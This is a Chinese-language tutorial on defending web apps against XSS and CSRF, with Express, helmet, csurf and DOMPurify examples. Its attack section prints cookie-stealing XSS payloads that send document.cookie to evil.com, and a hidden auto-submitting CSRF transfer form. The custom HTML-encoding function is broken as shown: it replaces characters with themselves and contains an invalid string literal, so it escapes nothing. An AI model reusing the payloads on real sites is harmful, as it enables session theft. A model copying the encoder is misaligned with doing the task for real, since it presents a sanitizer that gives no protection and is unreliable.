XSS与CSRF防护
XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)是 Web 安全两大威胁,必须正确防护。
XSS 攻击与防护
XSS 类型
| 类型 | 原理 | 危害等级 |
|---|---|---|
| 反射型 | 恶意脚本通过 URL 参数注入 | 高 |
| 存储型 | 恶意脚本存储在服务器数据库 | 极高 |
| DOM型 | 客户端 JavaScript 动态执行恶意代码 | 高 |
XSS 攻击示例
JavaScript
// 恶意输入
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
// 存储型攻击
<img src=x onerror="fetch('http://evil.com/steal?cookie='+document.cookie)">
// DOM型攻击
<div onmouseover="alert('XSS')">hover me</div>
防护策略
1. 输出编码
JavaScript
// 使用专门的编码库
const escapeHtml = require('escape-html');
// HTML 编码
function sanitize(str) {
return escapeHtml(str);
}
// 不同上下文使用不同编码
const encoder = {
html: (str) => str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, '''),
js: (str) => str
.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"')
.replace(/'/g, "\\'")
.replace(/\n/g, '\\n'),
url: (str) => encodeURIComponent(str)
};
2. 内容安全策略(CSP)
JavaScript
// Express 设置 CSP
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self' https://cdn.trusted.com; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"connect-src 'self' https://api.trusted.com; " +
"frame-ancestors 'none';"
);
next();
});
// 使用 helmet
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://cdn.trusted.com"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'", "https://api.trusted.com"],
frameAncestors: ["'none'"]
}
}));
3. 输入验证
JavaScript
const validator = require('validator');
// 验证并清理输入
function validateInput(input) {
// 移除危险字符
let cleaned = validator.escape(input);
// 验证格式
if (!validator.isLength(cleaned, { max: 100 })) {
throw new Error('Input too long');
}
return cleaned;
}
// 使用 Joi 验证
const Joi = require('joi');
const schema = Joi.object({
username: Joi.string().alphanum().max(30).required(),
email: Joi.string().email().required(),
bio: Joi.string().max(500).escape() // 自动转义
});
4. HttpOnly Cookie
JavaScript
// Express 设置安全 Cookie
app.use(require('cookie-session')({
name: 'session',
keys: ['secret-key'],
httpOnly: true, // 防止 JavaScript 访问
secure: true, // 仅 HTTPS
sameSite: 'strict', // CSRF 防护
maxAge: 24 * 60 * 60 * 1000
}));
CSRF 攻击与防护
CSRF 攻击原理
HTML
<!-- 恶意网站发起请求 -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<!-- 或隐藏表单自动提交 -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit();</script>
防护策略
1. CSRF Token
JavaScript
const csrf = require('csurf');
const express = require('express');
const app = express();
// 启用 CSRF 保护
const csrfProtection = csrf({ cookie: true });
// 生成 Token
app.get('/form', csrfProtection, (req, res) => {
res.render('form', { csrfToken: req.csrfToken() });
});
// 验证 Token
app.post('/process', csrfProtection, (req, res) => {
res.send('Data processed');
});
2. SameSite Cookie
JavaScript
// Express 设置 SameSite
app.use(require('cookie-session')({
name: 'session',
keys: ['secret'],
sameSite: 'strict' // 或 'lax'
}));
// 详细配置
res.cookie('session', 'value', {
httpOnly: true,
secure: true,
sameSite: 'strict' // 严格禁止跨站发送
});
| SameSite 值 | 行为 |
|---|---|
| strict | 完全禁止跨站发送 Cookie |
| lax | 允许安全跨站请求(GET 链接) |
| none | 允许跨站发送(需配合 secure) |
3. 验证 Referer/Origin
JavaScript
// 中间件验证来源
function verifyOrigin(req, res, next) {
const origin = req.get('origin') || req.get('referer');
const allowedOrigins = ['https://mysite.com', 'https://www.mysite.com'];
if (origin && allowedOrigins.some(o => origin.startsWith(o))) {
next();
} else {
res.status(403).json({ error: 'Invalid origin' });
}
}
app.post('/sensitive-action', verifyOrigin, handler);
4. 双重 Cookie 验证
JavaScript
// 前端发送时携带 Cookie 值
function getCsrfToken() {
return document.cookie
.split('; ')
.find(row => row.startsWith('csrf_token='))
?.split('=')[1];
}
// 请求时在 header 中发送
fetch('/api/action', {
method: 'POST',
headers: {
'X-CSRF-Token': getCsrfToken()
}
});
// 后端验证
app.use((req, res, next) => {
const cookieToken = req.cookies.csrf_token;
const headerToken = req.headers['x-csrf-token'];
if (cookieToken && cookieToken === headerToken) {
next();
} else {
res.status(403).json({ error: 'CSRF validation failed' });
}
});
综合防护配置
Express 安全中间件
JavaScript
const express = require('express');
const helmet = require('helmet');
const csrf = require('csurf');
const rateLimit = require('express-rate-limit');
const xss = require('xss-clean');
const app = express();
// 安全 Headers
app.use(helmet());
// XSS 清理
app.use(xss());
// CSRF 保护
app.use(csrf({ cookie: true }));
// 请求体限制
app.use(express.json({ limit: '10kb' }));
// 速率限制
app.use(rateLimit({
windowMs: 15 * 60 * 1000,
max: 100
}));
前端安全配置
JavaScript
// Axios 配置 CSRF
import axios from 'axios';
const api = axios.create({
baseURL: '/api',
withCredentials: true,
headers: {
'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
}
});
// React 渲染时转义
import DOMPurify from 'dompurify';
function SafeHtml({ html }) {
return <div dangerouslySetInnerHTML={{
__html: DOMPurify.sanitize(html)
}} />;
}
注意:XSS 和 CSRF 防护应同时启用,单一防护无法覆盖所有攻击场景。
要点总结
- XSS 防护:输出编码 + CSP + HttpOnly Cookie + 输入验证
- CSRF 防护:CSRF Token + SameSite Cookie + Origin 验证
- 使用 helmet 和 csurf 中间件快速实现防护
- 前端渲染用户内容时使用 DOMPurify 清理
- Cookie 配置 httpOnly、secure、sameSite 三重保护
📝 发现内容有误?点击此处直接编辑